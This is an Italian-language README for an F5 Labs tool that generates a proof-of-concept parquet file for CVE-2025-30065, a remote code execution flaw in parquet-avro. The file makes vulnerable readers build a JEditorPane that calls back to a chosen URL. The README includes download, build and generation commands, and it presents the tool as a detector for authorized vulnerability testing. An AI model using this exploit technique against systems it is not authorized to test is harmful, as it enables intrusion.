
(`-. ('-.
_(OO )_ _( OO)
.-----,--(_/ ,. (,------. .-----. .----. .-----..------. .-----. .----. .----. ,--. .------.
' .--.\ \ /(__/| .---' .-')/ ,-. \/ .. \/ ,-. | ___| .-') / -. \/ .. \ / .. \ / .' | ___|
| |('-.\ \ / / | | _( OO'-' | . / \ '-' | | '--. _( OO)'-' _' . / \ . / \ . / -. | '--.
/_) |OO )\ ' /,(| '--(,------. .' /| | ' | .' /`---. '(,------. |_ <| | ' | | ' | .-. '`---. '.
|| |`-'| \ /__)| .--''------.' /__' \ / '.' /__.- | |'------.-. | ' \ / ' \ / ' \ | .- | |
(_' '--'\ \ / | `---. | |\ `' /| | `-' / \ `-' /\ `' / \ `' /\ `' /| `-' /
`-----' `-' `------' `-------' `---'' `-------'`----'' `----'' `---'' `---'' `----' `----''
Canary Exploit Generator - https://github.com/F5-Labs/parquet-canary-exploit-rce-poc-CVE-2025-30065
Il minimo indispensabile (ignorare le istruzioni del README a proprio rischio):
mkdir -p build/libs
curl -o build/libs/parquet_canary_exploit-fat.jar \
-L https://github.com/F5-Labs/parquet-canary-exploit-rce-poc-CVE-2025-30065/blob/main/build/libs/parquet_canary_exploit-fat.jar
java -jar build/libs/parquet_canary_exploit-fat.jar --mode=generate YOUR_CALLBACK_URL
Addetti alla compliance? Addetti all'AppSec? Addetti al vulnerability management? F5 Labs lo ha creato per voi. Questa CVE ha un punteggio CVSS 10, che di solito significa che sono necessari tempi di risposta molto rapidi. Abbiamo impacchettato lo strumento come file jar in grado di generarvi un file parquet. Potete fornirlo ai vostri sistemi per determinare se sono vulnerabili, il che è utile sia prima che dopo la correzione.
Il merito per gli interni di questa PoC va a Mouad Kondah. Il loro approfondimento datato 2025-04-07 discute questa CVE e le loro PoC.
Il file parquet abusa del comportamento in parquet-avro che consente di passare una String Java non attendibile al costruttore di una classe Java arbitraria. Tu fornisci l'URL di callback e quando il tuo sistema legge il file parquet, ciò comporta la creazione di un oggetto javax.swing.JEditorPane che tenta di raggiungere quell'URL. Questo è innocuo.
Vuoi una rapida sintesi dello strumento di canary exploit? Guarda questo YouTube Short di due minuti per una demo dal vivo: [video demo].
Nota che ci sono due scenari di vulnerabilità di cui F5 Labs è a conoscenza per il modulo parquet-avro:
String in tipi alternativi.org.apache.parquet.avro.SERIALIZABLE_PACKAGES è stata impostata su qualcosa di permissivo, ad esempio *.Puoi usarlo con qualsiasi cosa a cui il tuo sistema possa accedere in uscita (DNS e/o HTTP(S)). Se non disponi di connettività in uscita di alcun tipo verso Internet, allora considera qualsiasi cosa raggiungibile all'interno del tuo data center di cui puoi ottenere log di accesso DNS o HTTP. Sii consapevole che sbagliare questo aspetto comporterà un falso negativo. Impostazioni altamente anomale per org.apache.parquet.avro.SERIALIZABLE_PACKAGES potrebbero anch'esse ragionevolmente causare un falso negativo; vedi la sottosezione precedente.
Ti invitiamo a leggere e comprendere il codice e a compilarlo da solo. Per tua comodità, forniamo la build di distribuzione del codice come jar all'interno di questo repository.
Avrai bisogno di JDK 21 o successivo per compilare o eseguire il generatore (termini di ricerca come "OpenJDK21 install" possono essere d'aiuto). Se hai familiarità con l'installazione del JDK, queste sono scorciatoie:
brew install openjdk@21sudo apt install openjdk-21-jdksudo yum install java-21-openjdkPuoi scaricare il jar oppure clonare il repository.
mkdir -p build/libs
curl -o build/libs/parquet_canary_exploit-fat.jar \
-L https://github.com/F5-Labs/parquet-canary-exploit-rce-poc-CVE-2025-30065/blob/main/build/libs/parquet_canary_exploit-fat.jar
git clone https://github.com/F5-Labs/parquet-canary-exploit-rce-poc-CVE-2025-30065.git
cd parquet-canary-exploit-rce-poc-CVE-2025-30065
file build/libs/parquet_canary_exploit-fat.jar
shasum build/libs/parquet_canary_exploit-fat.jar
Output previsto:
build/libs/parquet_canary_exploit-fat.jar: Zip archive data, at least v1.0 to extract, compression method=deflate
19ae361d589a9cd476bee31ba3f437094a8a6440 build/libs/parquet_canary_exploit-fat.jar
java -jar build/libs/parquet_canary_exploit-fat.jar -h
Output previsto:

Per prima cosa, decidi cosa vuoi che sia YOUR_CALLBACK_URL. Devi essere in grado di rilevare quando il tuo backend di elaborazione parquet risolve il nome di dominio dell'URL o richiede l'URL al server web. Puoi tranquillamente considerare canarytokens.org "Web bug" o "DNS" per questo scopo. Vedi la sezione Insidie qui sopra per i dettagli.
Esegui questo comando:
java -jar build/libs/parquet_canary_exploit-fat.jar --mode=generate YOUR_CALLBACK_URL
Questo genererà poc.parquet. Verifica in questo modo:
file poc.parquet
L'output dovrebbe essere:
poc.parquet: Apache Parquet
Questo file può ora essere inviato al tuo sistema. Se il tuo sistema è vulnerabile, riceverai un callback. Vedi anche la sezione Insidie.
Per comodità, questo genererà il file anche se non esiste già.
java -jar build/libs/parquet_canary_exploit-fat.jar --mode=test YOUR_CALLBACK_URL
python3 -m http.server --bind 127.0.0.1 9090 &
java -jar build/libs/parquet_canary_exploit-fat.jar --mode=test http://localhost:9090
Consulta CanaryExploitGenerator.testParquetFile() per capire come viene letto il file parquet. Ecco come apparirà il codice nelle profondità del tuo sistema:
ParquetReader reader = AvroParquetReader.builder(inputFile).build();
// enough to trigger the construction of javax.swing.JEditorPane
Object object = reader.read();
Questo strumento è destinato esclusivamente a essere utilizzato in contesti di test di sicurezza autorizzati. Informati sulle leggi della o delle giurisdizioni applicabili. Consulta LICENSE.md per i dettagli legali.